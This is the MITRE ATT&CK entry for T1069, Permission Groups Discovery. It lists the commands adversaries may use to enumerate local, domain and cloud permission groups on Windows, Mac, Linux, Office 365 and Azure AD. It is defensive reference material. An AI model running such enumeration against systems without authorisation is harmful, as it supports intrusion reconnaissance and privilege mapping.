T1069 - Permission Groups Discovery

Description from ATT&CK

Adversaries may attempt to find local system or domain-level groups and permissions settings.

Windows

Examples of commands that can list groups are net group /domain and net localgroup using the Net utility.

Mac

On Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.

Linux

On Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.

Office 365 and Azure AD

With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)

Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)
